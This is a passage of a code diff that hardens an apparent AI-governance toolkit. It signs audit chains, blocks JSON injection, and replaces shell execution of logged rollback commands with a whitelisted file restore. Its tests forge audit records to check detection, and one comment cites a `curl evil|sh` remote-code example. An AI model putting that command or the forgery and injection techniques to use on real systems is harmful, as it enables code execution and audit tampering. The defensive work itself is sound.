openssl dgst -sha256 -sign "$AUDIT_PRIV" -out "$AUDIT_DIR/audit-head.sig" "$AUDIT_DIR/audit-head.txt" 2>/dev/null || true
fi fi
# Always re-export the public key so it matches the private key we sign with.
# Without this, a private key that PERSISTS on a CI runner drifts out of sync
# with a freshly checked-out audit-public.pem (e.g. one committed after a
# Vault-KMS signing), and verify-audit-chain.sh would reject a genuine head.
openssl rsa -in "$AUDIT_PRIV" -pubout -out "$AUDIT_PUB" 2>/dev/null || true
printf '%s' "$RECORD_HASH" > "$AUDIT_DIR/audit-head.txt"
openssl dgst -sha256 -sign "$AUDIT_PRIV" -out "$AUDIT_DIR/audit-head.sig" "$AUDIT_DIR/audit-head.txt" 2>/dev/null || true
fi fi
if [[ "$DECISION" != "approved" ]]; then if [[ "$DECISION" != "approved" ]]; then
@@ -71,10 +71,15 @@ else
casan_log warn incident "INCIDENT sev=$SEV event=$EVENT scope=$SCOPE id=$ID owner=$OWNER" casan_log warn incident "INCIDENT sev=$SEV event=$EVENT scope=$SCOPE id=$ID owner=$OWNER"
fi fi
# SEC-05 (M-05): the keyless printf fallback below must not permit JSON injection
# either — strip quotes/backslashes/newlines from interpolated fields so a crafted
# EVENT/OWNER/SCOPE cannot forge a second incident record.
_json_strip() { local s="${1//\\/}"; s="${s//\"/}"; s="${s//$'\n'/ }"; s="${s//$'\r'/ }"; printf '%s' "$s"; }
# Record a structured incident entry. # Record a structured incident entry.
python - "$LOG" "$TS" "$EVENT" "$SEV" "$OWNER" "$SCOPE" "$ID" "$ACTION" "$DETAIL" "$RUNBOOK" <<'PY' 2>/dev/null || \ python - "$LOG" "$TS" "$EVENT" "$SEV" "$OWNER" "$SCOPE" "$ID" "$ACTION" "$DETAIL" "$RUNBOOK" <<'PY' 2>/dev/null || \
printf '{"timestamp":"%s","event":"%s","severity":"%s","owner":"%s","scope":"%s","id":"%s","action":"%s"}\n' \ printf '{"timestamp":"%s","event":"%s","severity":"%s","owner":"%s","scope":"%s","id":"%s","action":"%s"}\n' \
"$TS" "$EVENT" "$SEV" "$OWNER" "$SCOPE" "$ID" "$ACTION" >> "$LOG" "$(_json_strip "$TS")" "$(_json_strip "$EVENT")" "$(_json_strip "$SEV")" "$(_json_strip "$OWNER")" "$(_json_strip "$SCOPE")" "$(_json_strip "$ID")" "$(_json_strip "$ACTION")" >> "$LOG"
import json, sys import json, sys
log, ts, event, sev, owner, scope, iid, action, detail, runbook = sys.argv[1:11] log, ts, event, sev, owner, scope, iid, action, detail, runbook = sys.argv[1:11]
with open(log, "a", encoding="utf-8") as f: with open(log, "a", encoding="utf-8") as f:
@@ -12,8 +12,9 @@ SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
# Opt-in governance preflight (default off ⇒ no change to existing flows). # Opt-in governance preflight (default off ⇒ no change to existing flows).
# When enabled, enforces RAI data governance (e.g. PII must not reach a cloud # When enabled, enforces RAI data governance (e.g. PII must not reach a cloud
# model without approval) BEFORE the model call. # model without approval) BEFORE the model call. SEC-17 (ARCH-03): default ON under
if [[ "${CASAN_PREFLIGHT:-0}" == "1" ]]; then # CASAN_PROFILE=prod (secure-by-default); an explicit CASAN_PREFLIGHT=0 still wins.
if [[ "${CASAN_PREFLIGHT:-0}" == "1" || ( -z "${CASAN_PREFLIGHT+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then
bash "$SCRIPT_DIR/harness-preflight.sh" "$@" >/dev/null || exit $? bash "$SCRIPT_DIR/harness-preflight.sh" "$@" >/dev/null || exit $?
fi fi
@@ -35,8 +35,11 @@ if [[ "$MODE" == "checkpoint" ]]; then
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ABS_TARGET" "$RESTORE_CMD" "$BACKUP" <<'PY' python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ABS_TARGET" "$RESTORE_CMD" "$BACKUP" <<'PY'
import json, sys import json, sys
log, ts, tx, target, cmd, backup = sys.argv[1:] log, ts, tx, target, cmd, backup = sys.argv[1:]
# SEC-03: `op` + backup/target are the STRUCTURED, executable form. rollback_command
# is kept only as a human-readable / audit string — `execute` never shell-runs it.
rec = {"timestamp": ts, "transaction_id": tx, "action": "checkpoint", rec = {"timestamp": ts, "transaction_id": tx, "action": "checkpoint",
"target": target, "backup": backup, "rollback_command": cmd, "status": "recorded"} "op": "restore_file", "target": target, "backup": backup,
"rollback_command": cmd, "status": "recorded"}
open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n") open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n")
PY PY
echo "ROLLBACK_CHECKPOINT transaction_id=$TX_ID target=$ABS_TARGET" echo "ROLLBACK_CHECKPOINT transaction_id=$TX_ID target=$ABS_TARGET"
@@ -50,8 +53,17 @@ if [[ "$MODE" == "record" ]]; then
fi fi
TX_ID="$(uuidgen 2>/dev/null | tr '[:upper:]' '[:lower:]' || printf 'tx-%s-%s' "$(date +%s)" "$$")" TX_ID="$(uuidgen 2>/dev/null | tr '[:upper:]' '[:lower:]' || printf 'tx-%s-%s' "$(date +%s)" "$$")"
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")" TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
printf '{"timestamp":"%s","transaction_id":"%s","action":"%s","rollback_command":"%s","status":"recorded"}\n' \ # SEC-03/SEC-05: serialize via json.dumps so `action`/`rollback_command` cannot
"$TIMESTAMP" "$TX_ID" "$ACTION" "$ROLLBACK_COMMAND" >> "$TX_LOG" # inject a second forged JSON record (a raw printf let a `"`+newline break out).
# Note: a free-form `record` entry has no structured `op`, so `execute` REFUSES
# to run it — free-form rollback commands are audit-only, never executed.
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ACTION" "$ROLLBACK_COMMAND" <<'PY'
import json, sys
log, ts, tx, action, cmd = sys.argv[1:]
rec = {"timestamp": ts, "transaction_id": tx, "action": action,
"rollback_command": cmd, "status": "recorded"}
open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n")
PY
echo "ROLLBACK_RECORDED transaction_id=$TX_ID" echo "ROLLBACK_RECORDED transaction_id=$TX_ID"
exit 0 exit 0
fi fi
@@ -62,23 +74,54 @@ if [[ "$MODE" == "execute" ]]; then
echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2 echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2
exit 1 exit 1
fi fi
COMMAND="$(python - "$TX_LOG" "$TX_ID" <<'PY' # SEC-03 (H-03): NEVER `bash -c` a string read from the (unsigned) tx log — that
import json, sys # was arbitrary remote code execution (append `curl evil|sh` -> executed). Only a
for line in open(sys.argv[1], encoding="utf-8"): # STRUCTURED, whitelisted op is honored. The one safe op today is "restore_file":
rec=json.loads(line) # copy our own backup back over the target, performed in Python via argv (no shell),
if rec.get("transaction_id")==sys.argv[2]: # and only when the source lives inside our controlled backup dir.
print(rec.get("rollback_command","")) PRC=0
break RESTORED="$(python - "$TX_LOG" "$TX_ID" "$BACKUP_DIR" <<'PY'
import json, os, shutil, sys
log, tx, backup_dir = sys.argv[1], sys.argv[2], os.path.realpath(sys.argv[3])
rec = None
for line in open(log, encoding="utf-8"):
line = line.strip()
if not line:
continue
try:
r = json.loads(line)
except ValueError:
continue # malformed line: ignore, fail-closed later
if r.get("transaction_id") == tx and r.get("action") == "checkpoint":
rec = r # last checkpoint for this tx wins
if not rec:
sys.stderr.write("no_structured_checkpoint\n"); sys.exit(3)
op = rec.get("op") or ("restore_file" if rec.get("backup") and rec.get("target") else "")
backup = os.path.realpath(rec.get("backup", ""))
target = rec.get("target", "")
if op != "restore_file" or not backup or not target:
sys.stderr.write("not_a_whitelisted_restore_op\n"); sys.exit(4)
# A forged record cannot point the restore SOURCE at an arbitrary file.
if not (backup == backup_dir or backup.startswith(backup_dir + os.sep)):
sys.stderr.write("backup_outside_controlled_dir\n"); sys.exit(5)
if not os.path.isfile(backup):
sys.stderr.write("backup_missing\n"); sys.exit(6)
shutil.copyfile(backup, target) # argv copy — no shell interpretation
sys.stdout.write(target)
PY PY
)" )" || PRC=$?
if [[ -z "$COMMAND" ]]; then if [[ "$PRC" -ne 0 ]]; then
echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2 echo "ROLLBACK_REFUSED transaction_id=$TX_ID reason=no_structured_restore_op (rc=$PRC)" >&2
exit 1 exit 1
fi fi
bash -c "$COMMAND"
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")" TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
printf '{"timestamp":"%s","transaction_id":"%s","status":"rolled_back"}\n' "$TIMESTAMP" "$TX_ID" >> "$TX_LOG" python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" <<'PY'
echo "ROLLBACK_EXECUTED transaction_id=$TX_ID" import json, sys
log, ts, tx = sys.argv[1:]
open(log, "a", encoding="utf-8").write(
json.dumps({"timestamp": ts, "transaction_id": tx, "status": "rolled_back"}) + "\n")
PY
echo "ROLLBACK_EXECUTED transaction_id=$TX_ID target=$RESTORED"
exit 0 exit 0
fi fi
@@ -253,8 +253,14 @@ if [[ "$MODE" == "input" ]]; then
# silent skip. Off by default so CI without a model stays non-strict. # silent skip. Off by default so CI without a model stays non-strict.
# * CASAN_SEMANTIC_CLASSIFY=1 (non-strict) — best-effort. On model outage we # * CASAN_SEMANTIC_CLASSIFY=1 (non-strict) — best-effort. On model outage we
# keep the regex verdict but log SEMANTIC_SKIPPED loudly (no silent pass). # keep the regex verdict but log SEMANTIC_SKIPPED loudly (no silent pass).
# SEC-17 (ARCH-03): strict is ON when explicitly set, OR unset under prod profile
# (secure-by-default). An explicit CASAN_SECURITY_STRICT=0 (internal scans) wins.
STRICT_ON=0
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" || ( -z "${CASAN_SECURITY_STRICT+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then
STRICT_ON=1
fi
SEMANTIC_REQUIRED=0 SEMANTIC_REQUIRED=0
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" || "${CASAN_SEMANTIC_CLASSIFY:-0}" == "1" ]]; then if [[ "$STRICT_ON" == "1" || "${CASAN_SEMANTIC_CLASSIFY:-0}" == "1" ]]; then
SEMANTIC_REQUIRED=1 SEMANTIC_REQUIRED=1
fi fi
if [[ "$STATUS" != "blocked" && "$SEMANTIC_REQUIRED" == "1" ]]; then if [[ "$STATUS" != "blocked" && "$SEMANTIC_REQUIRED" == "1" ]]; then
@@ -271,7 +277,7 @@ if [[ "$MODE" == "input" ]]; then
MATCHED_RULES+=("semantic-injection") MATCHED_RULES+=("semantic-injection")
elif [[ -z "$SEM_VERDICT" ]]; then elif [[ -z "$SEM_VERDICT" ]]; then
# Model unreachable / no usable verdict. # Model unreachable / no usable verdict.
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" ]]; then if [[ "$STRICT_ON" == "1" ]]; then
STATUS="blocked"; ACTION="block"; RISK_LEVEL="high" STATUS="blocked"; ACTION="block"; RISK_LEVEL="high"
MATCHED_RULES+=("semantic-strict-unavailable") MATCHED_RULES+=("semantic-strict-unavailable")
casan_log error security "SEMANTIC_STRICT_FAIL_CLOSED trace_id=$TRACE_ID reason=model_unavailable action=block" casan_log error security "SEMANTIC_STRICT_FAIL_CLOSED trace_id=$TRACE_ID reason=model_unavailable action=block"
@@ -97,6 +97,16 @@ case "$CMD" in
fi fi
echo "TELEMETRY_INTEGRITY_VALID anchor=signed head=$HEAD_STORED" echo "TELEMETRY_INTEGRITY_VALID anchor=signed head=$HEAD_STORED"
else else
# SEC-01 (H-01): enforced mode treats a missing/unverifiable signature as FAIL,
# otherwise deleting telemetry-head.sig after rewriting token counts would pass.
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
MISSING=""
[[ -f "$HEAD_SIG" ]] || MISSING="$MISSING head-sig"
[[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey"
command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl"
echo "TELEMETRY_INTEGRITY_UNSIGNED_STRICT_FAIL head=$HEAD_STORED missing=${MISSING# }" >&2
exit 1
fi
echo "TELEMETRY_INTEGRITY_VALID anchor=unsigned head=$HEAD_STORED" echo "TELEMETRY_INTEGRITY_VALID anchor=unsigned head=$HEAD_STORED"
fi fi
;; ;;
@@ -0,0 +1,192 @@
#!/usr/bin/env python3
"""CASAN Plan-16 SEC-18 (ARCH-02) — test-integrity manifest.
The test suites live in the same repo an attacker can edit, so "280/0 green" proves
nothing if a fail-able adversarial check was quietly deleted or weakened. This tool
records, per suite, its content hash and its number of fail-able checks, into a
manifest whose head is signed with an OFF-REPO key. CI then re-verifies:
* a manifested suite that DISAPPEARED -> FAIL (suite removed)
* a suite whose fail-able-check count DROPPED -> FAIL (coverage regression)
* (enforced mode) an invalid/absent manifest signature -> FAIL (manifest tampered)
Adding checks/suites is fine (regenerate the manifest); only REMOVING coverage fails.
Usage:
test-integrity.py generate # write + sign the manifest
test-integrity.py verify [--strict] # re-check; exit 1 on regression/tamper
Env: CASAN_TESTS_DIR, CASAN_TEST_MANIFEST, CASAN_TI_KEY_DIR, CASAN_TI_PUB,
CASAN_PROFILE=prod / CASAN_VERIFY_STRICT=1 (enforce signature).
"""
import argparse
import glob
import hashlib
import json
import os
import re
import shutil
import subprocess
import sys
# A "fail-able check" is any assertion call site. Phase suites use `pass "..."`;
# the adversarial suite uses `expect_rc <n> "..."`. Counting these makes deleting
# or short-circuiting a check reduce the number.
CHECK_RE = re.compile(r'(?:(?<![\w])pass\s+")|(?:\bexpect_rc\s)')
def project_root() -> str:
return os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", ".."))
def tests_dir() -> str:
return os.environ.get("CASAN_TESTS_DIR") or os.path.join(project_root(), ".specify/tests")
def manifest_path() -> str:
return os.environ.get("CASAN_TEST_MANIFEST") or os.path.join(tests_dir(), "test-integrity-manifest.json")
def _enforced() -> bool:
return os.environ.get("CASAN_PROFILE") == "prod" or os.environ.get("CASAN_VERIFY_STRICT") == "1"
def suite_files():
d = tests_dir()
files = []
for pat in ("phase*.sh", "adversarial*.sh", "run-casan*.sh"):
files.extend(glob.glob(os.path.join(d, pat)))
# Exclude the integrity suite itself to avoid a self-reference cycle.
return sorted(f for f in files if os.path.basename(f) != "phase-sec18-tests.sh")
def scan(path):
data = open(path, "rb").read()
text = data.decode("utf-8", errors="replace")
checks = len(CHECK_RE.findall(text))
return {"sha256": hashlib.sha256(data).hexdigest(), "checks": checks}
def build_manifest():
suites = {os.path.basename(f): scan(f) for f in suite_files()}
total = sum(s["checks"] for s in suites.values())
return {"suites": suites, "total_checks": total, "suite_count": len(suites)}
def manifest_head(manifest) -> str:
core = json.dumps(manifest["suites"], sort_keys=True, separators=(",", ":"))
return hashlib.sha256(core.encode()).hexdigest()
# --- signing (off-repo key; pubkey provisioned out-of-band / KMS in prod) ------
def _priv():
d = os.environ.get("CASAN_TI_KEY_DIR") or os.path.join(os.path.expanduser("~"), ".casan", "audit-keys")
return os.path.join(d, "test-integrity-private.pem")
def _pub():
return os.environ.get("CASAN_TI_PUB") or (manifest_path() + ".pub")
def _sig():
return manifest_path() + ".sig"
def _head_file():
return manifest_path() + ".head"
def sign(manifest):
head = manifest_head(manifest)
open(_head_file(), "w", encoding="utf-8").write(head)
ossl = shutil.which("openssl")
if not ossl:
return
priv, pub = _priv(), _pub()
os.makedirs(os.path.dirname(priv), exist_ok=True)
if not os.path.isfile(priv):
subprocess.run([ossl, "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048", "-out", priv],
capture_output=True)
try:
os.chmod(priv, 0o600)
except OSError:
pass
os.makedirs(os.path.dirname(pub) or ".", exist_ok=True)
subprocess.run([ossl, "rsa", "-in", priv, "-pubout", "-out", pub], capture_output=True)
subprocess.run([ossl, "dgst", "-sha256", "-sign", priv, "-out", _sig(), _head_file()], capture_output=True)
def check_signature(manifest):
ossl = shutil.which("openssl")
if not (ossl and os.path.isfile(_head_file()) and os.path.isfile(_sig()) and os.path.isfile(_pub())):
return "unsigned"
if open(_head_file(), encoding="utf-8").read().strip() != manifest_head(manifest):
return "invalid"
res = subprocess.run([ossl, "dgst", "-sha256", "-verify", _pub(), "-signature", _sig(), _head_file()],
capture_output=True)
return "signed" if res.returncode == 0 else "invalid"
def do_generate():
manifest = build_manifest()
with open(manifest_path(), "w", encoding="utf-8") as fh:
json.dump(manifest, fh, indent=2)
fh.write("\n")
sign(manifest)
print(f"TEST_INTEGRITY_GENERATED suites={manifest['suite_count']} total_checks={manifest['total_checks']}")
return 0
def do_verify(strict):
mp = manifest_path()
if not os.path.isfile(mp):
# No manifest provisioned. Enforced mode fails closed; dev/CI skips cleanly.
if strict or _enforced():
print("TEST_INTEGRITY_FAIL no_manifest_in_enforced_mode", file=sys.stderr)
return 1
print("TEST_INTEGRITY_SKIP no manifest (run: test-integrity.py generate)")
return 0
manifest = json.load(open(mp, encoding="utf-8"))
current = {os.path.basename(f): scan(f) for f in suite_files()}
regressions = []
for name, rec in manifest.get("suites", {}).items():
if name not in current:
regressions.append(f"{name}:suite_removed")
elif current[name]["checks"] < rec["checks"]:
regressions.append(f"{name}:checks_dropped({rec['checks']}->{current[name]['checks']})")
sig_state = check_signature(manifest)
if sig_state == "invalid":
print("TEST_INTEGRITY_FAIL manifest_signature_invalid", file=sys.stderr)
return 1
if sig_state == "unsigned" and (strict or _enforced()):
print("TEST_INTEGRITY_FAIL manifest_unsigned_in_strict_mode", file=sys.stderr)
return 1
if regressions:
print("TEST_INTEGRITY_FAIL coverage_regression " + " ".join(regressions), file=sys.stderr)
return 1
cur_total = sum(v["checks"] for k, v in current.items() if k in manifest.get("suites", {}))
print(f"TEST_INTEGRITY_OK suites={len(manifest.get('suites', {}))} "
f"manifest_checks={manifest.get('total_checks')} current_checks={cur_total} anchor={sig_state}")
return 0
def main() -> int:
ap = argparse.ArgumentParser()
sub = ap.add_subparsers(dest="cmd", required=True)
sub.add_parser("generate")
v = sub.add_parser("verify")
v.add_argument("--strict", action="store_true")
args = ap.parse_args()
if args.cmd == "generate":
return do_generate()
if args.cmd == "verify":
return do_verify(args.strict)
return 2
if __name__ == "__main__":
raise SystemExit(main())
@@ -84,5 +84,20 @@ if [[ -f "$HEAD_FILE" && -f "$HEAD_SIG" && -f "$AUDIT_PUB" ]] && command -v open
fi fi
echo "AUDIT_CHAIN_VALID anchor=signed last_hash=$COMPUTED_HEAD" echo "AUDIT_CHAIN_VALID anchor=signed last_hash=$COMPUTED_HEAD"
else else
# SEC-01 (H-01): in enforced mode a missing/unverifiable signature is a FAILURE,
# not "valid unsigned". Otherwise deleting audit-head.sig (or the pubkey) after
# tampering + recomputing the chain would pass verification. Permissive mode
# (dev default) keeps the previous unsigned-OK behaviour. Self-contained check
# (this script is copied into sandboxes by tests, so it must not source common.sh):
# CASAN_PROFILE=prod (SEC-17) enables all enforce flags; CASAN_VERIFY_STRICT=1 this one.
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
MISSING=""
[[ -f "$HEAD_FILE" ]] || MISSING="$MISSING head-file"
[[ -f "$HEAD_SIG" ]] || MISSING="$MISSING head-sig"
[[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey"
command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl"
echo "AUDIT_CHAIN_UNSIGNED_STRICT_FAIL last_hash=$COMPUTED_HEAD missing=${MISSING# }" >&2
exit 1
fi
echo "AUDIT_CHAIN_VALID anchor=unsigned last_hash=$COMPUTED_HEAD" echo "AUDIT_CHAIN_VALID anchor=unsigned last_hash=$COMPUTED_HEAD"
fi fi
@@ -56,5 +56,16 @@ if [[ -f "$HEAD_FILE" && -f "$HEAD_SIG" && -f "$AUDIT_PUB" ]] && command -v open
fi fi
echo "TOOL_AUDIT_VALID anchor=signed last_hash=$COMPUTED_HEAD" echo "TOOL_AUDIT_VALID anchor=signed last_hash=$COMPUTED_HEAD"
else else
# SEC-01 (H-01): enforced mode treats a missing/unverifiable signature as FAIL.
# Self-contained (this script is copied into sandboxes by tests — no common.sh).
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
MISSING=""
[[ -f "$HEAD_FILE" ]] || MISSING="$MISSING head-file"
[[ -f "$HEAD_SIG" ]] || MISSING="$MISSING head-sig"
[[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey"
command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl"
echo "TOOL_AUDIT_UNSIGNED_STRICT_FAIL last_hash=$COMPUTED_HEAD missing=${MISSING# }" >&2
exit 1
fi
echo "TOOL_AUDIT_VALID anchor=unsigned last_hash=$COMPUTED_HEAD" echo "TOOL_AUDIT_VALID anchor=unsigned last_hash=$COMPUTED_HEAD"
fi fi
@@ -0,0 +1,150 @@
#!/usr/bin/env bash
set -uo pipefail
# CASAN Plan-16 SEC-01 (H-01) — "unsigned = FAIL" in enforced mode.
#
# Proves that verify-audit-chain / verify-tool-audit / telemetry-integrity /
# evidence-pack all treat a missing (or unverifiable) signature as a FAILURE when
# strict enforcement is on, while keeping the permissive dev default unchanged.
# Enforcement is triggered by either CASAN_VERIFY_STRICT=1 or CASAN_PROFILE=prod.
#
# Deterministic; no model/app/network. Hermetic: builds throwaway logs in a temp
# workspace; the telemetry case backs up + restores the real head artifacts.
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash"
WORK="$(mktemp -d)"
# Back up telemetry head artifacts (fixed-path; the sign step mutates them).
L5_DIR="$PROJECT_ROOT/.specify/logs/level5"
TEL_BAK="$WORK/tel-bak"; mkdir -p "$TEL_BAK"
for f in telemetry-manifest.json telemetry-head.txt telemetry-head.sig; do
[[ -f "$L5_DIR/$f" ]] && cp -p "$L5_DIR/$f" "$TEL_BAK/$f"
done
restore_tel() {
for f in telemetry-manifest.json telemetry-head.txt telemetry-head.sig; do
if [[ -f "$TEL_BAK/$f" ]]; then cp -p "$TEL_BAK/$f" "$L5_DIR/$f"; else rm -f "$L5_DIR/$f"; fi
done
}
trap 'restore_tel; rm -rf "$WORK"' EXIT
PASS=0; FAIL=0
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
# rc_of <env-assignments-or-empty> <cmd...> : run, print exit code, never abort.
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
echo "===== Plan-16 SEC-01: unsigned = FAIL in enforced mode ====="
# ---------------------------------------------------------------------------
# 1) verify-audit-chain.sh — build a genuine unsigned chain (no head/sig files)
# ---------------------------------------------------------------------------
AUD_DIR="$WORK/audit"; mkdir -p "$AUD_DIR"
python3 - "$AUD_DIR/audit.jsonl" <<'PY'
import hashlib, json, sys
path = sys.argv[1]
prev = ""
core = "|".join(["2026-07-06T00:00:00Z", "t1", "act", "a@x", "low", "ALLOW", "n/a", "", "ih", "oh", prev])
h = hashlib.sha256(core.encode()).hexdigest()
rec = {"timestamp":"2026-07-06T00:00:00Z","trace_id":"t1","action":"act","actor":"a@x",
"risk_level":"low","decision":"ALLOW","approval_status":"n/a","approver":"",
"input_hash":"ih","output_hash":"oh","previous_record_hash":prev,"record_hash":h}
open(path,"w").write(json.dumps(rec)+"\n")
PY
RC="$(rc_of bash "$BASH_DIR/verify-audit-chain.sh" "$AUD_DIR/audit.jsonl")"
[[ "$RC" -eq 0 ]] && pass "audit-chain: unsigned OK in permissive mode (rc=0)" \
|| fail "audit-chain: permissive mode should pass unsigned (rc=$RC)"
RC="$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/verify-audit-chain.sh" "$AUD_DIR/audit.jsonl")"
[[ "$RC" -ne 0 ]] && pass "audit-chain: unsigned FAILS with CASAN_VERIFY_STRICT=1 (rc=$RC)" \
|| fail "audit-chain: strict flag did not fail unsigned (rc=$RC)"
RC="$(rc_of env CASAN_PROFILE=prod bash "$BASH_DIR/verify-audit-chain.sh" "$AUD_DIR/audit.jsonl")"
[[ "$RC" -ne 0 ]] && pass "audit-chain: unsigned FAILS with CASAN_PROFILE=prod (rc=$RC)" \
|| fail "audit-chain: prod profile did not fail unsigned (rc=$RC)"
# Attack: tamper a field, recompute record_hash so the chain is internally valid,
# leave no signature. Strict must STILL fail (recompute does not save the forger).
python3 - "$AUD_DIR/audit.jsonl" <<'PY'
import hashlib, json, sys
path = sys.argv[1]
rec = json.loads(open(path).read().strip())
rec["decision"] = "DENY_BYPASSED" # forge the verdict
prev = ""
core = "|".join([rec["timestamp"],rec["trace_id"],rec["action"],rec["actor"],rec["risk_level"],
rec["decision"],rec["approval_status"],rec["approver"],rec["input_hash"],
rec["output_hash"],prev])
rec["record_hash"] = hashlib.sha256(core.encode()).hexdigest() # recompute → chain valid
open(path,"w").write(json.dumps(rec)+"\n")
PY
RC="$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/verify-audit-chain.sh" "$AUD_DIR/audit.jsonl")"
[[ "$RC" -ne 0 ]] && pass "audit-chain: tamper+recompute+no-sig still FAILS in strict (rc=$RC)" \
|| fail "audit-chain: recomputed forged chain passed strict (rc=$RC)"
# ---------------------------------------------------------------------------
# 2) verify-tool-audit.sh — genuine unsigned tool-calls chain
# ---------------------------------------------------------------------------
TOOL_DIR="$WORK/tool"; mkdir -p "$TOOL_DIR"
python3 - "$TOOL_DIR/tool-calls.jsonl" <<'PY'
import hashlib, json, sys
path = sys.argv[1]
prev = ""
rec = {"timestamp":"2026-07-06T00:00:00Z","tool":"bash","actor":"a@x","previous_record_hash":prev}
core = json.dumps(rec, sort_keys=True, separators=(",", ":"))
rec["record_hash"] = hashlib.sha256((prev + "|" + core).encode()).hexdigest()
open(path,"w").write(json.dumps(rec)+"\n")
PY
RC="$(rc_of bash "$BASH_DIR/verify-tool-audit.sh" "$TOOL_DIR/tool-calls.jsonl")"
[[ "$RC" -eq 0 ]] && pass "tool-audit: unsigned OK in permissive mode (rc=0)" \
|| fail "tool-audit: permissive mode should pass unsigned (rc=$RC)"
RC="$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/verify-tool-audit.sh" "$TOOL_DIR/tool-calls.jsonl")"
[[ "$RC" -ne 0 ]] && pass "tool-audit: unsigned FAILS with CASAN_VERIFY_STRICT=1 (rc=$RC)" \
|| fail "tool-audit: strict flag did not fail unsigned (rc=$RC)"
# ---------------------------------------------------------------------------
# 3) telemetry-integrity.sh — sign (unsigned, no key), then strict verify fails
# ---------------------------------------------------------------------------
# Force the keyless path so the head is written WITHOUT a signature.
env CASAN_AUDIT_PRIV="$WORK/nonexistent.pem" bash "$BASH_DIR/telemetry-integrity.sh" sign >/dev/null 2>&1
RC="$(rc_of env CASAN_AUDIT_PUB="$WORK/nonexistent.pem" bash "$BASH_DIR/telemetry-integrity.sh" verify)"
[[ "$RC" -eq 0 ]] && pass "telemetry: unsigned OK in permissive mode (rc=0)" \
|| fail "telemetry: permissive mode should pass unsigned (rc=$RC)"
RC="$(rc_of env CASAN_VERIFY_STRICT=1 CASAN_AUDIT_PUB="$WORK/nonexistent.pem" bash "$BASH_DIR/telemetry-integrity.sh" verify)"
[[ "$RC" -ne 0 ]] && pass "telemetry: unsigned FAILS with CASAN_VERIFY_STRICT=1 (rc=$RC)" \
|| fail "telemetry: strict flag did not fail unsigned (rc=$RC)"
# ---------------------------------------------------------------------------
# 4) evidence-pack.sh verify-pack — build a valid unsigned pack (no .sig)
# ---------------------------------------------------------------------------
PACK_DIR="$WORK/pack"; mkdir -p "$PACK_DIR"
echo "hello evidence" > "$PACK_DIR/report.txt"
python3 - "$PACK_DIR" <<'PY'
import hashlib, json, os, sys
d = sys.argv[1]
files = {}
for fn in os.listdir(d):
p = os.path.join(d, fn)
if os.path.isfile(p):
files[fn] = hashlib.sha256(open(p,"rb").read()).hexdigest()
canonical = json.dumps(files, sort_keys=True, separators=(",", ":"))
head = hashlib.sha256(canonical.encode()).hexdigest()
json.dump({"files": files, "manifest_head": head}, open(os.path.join(d,"artifact-manifest.json"),"w"))
open(os.path.join(d,"manifest-head.txt"),"w").write(head)
PY
RC="$(rc_of bash "$BASH_DIR/evidence-pack.sh" verify-pack testrun --dir "$PACK_DIR")"
[[ "$RC" -eq 0 ]] && pass "evidence-pack: unsigned OK in permissive mode (rc=0)" \
|| fail "evidence-pack: permissive mode should pass unsigned (rc=$RC)"
RC="$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/evidence-pack.sh" verify-pack testrun --dir "$PACK_DIR")"
[[ "$RC" -ne 0 ]] && pass "evidence-pack: unsigned FAILS with CASAN_VERIFY_STRICT=1 (rc=$RC)" \
|| fail "evidence-pack: strict flag did not fail unsigned (rc=$RC)"
echo ""
echo "===== SEC-01 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
[[ "$FAIL" -eq 0 ]] || exit 1
@@ -0,0 +1,60 @@
#!/usr/bin/env bash
set -uo pipefail
# CASAN Plan-16 SEC-02 (H-02) — no local key auto-generation in enforced mode.
#
# The tamper-evidence of the audit chain rests on the head signature. If the
# signer auto-generates a private key next to the data (as dev convenience does),
# then any actor who can write the log can also mint a key and re-sign a forged
# head. In enforced mode the signer must NOT auto-generate — the key is provisioned
# out-of-band (KMS/HSM). This proves:
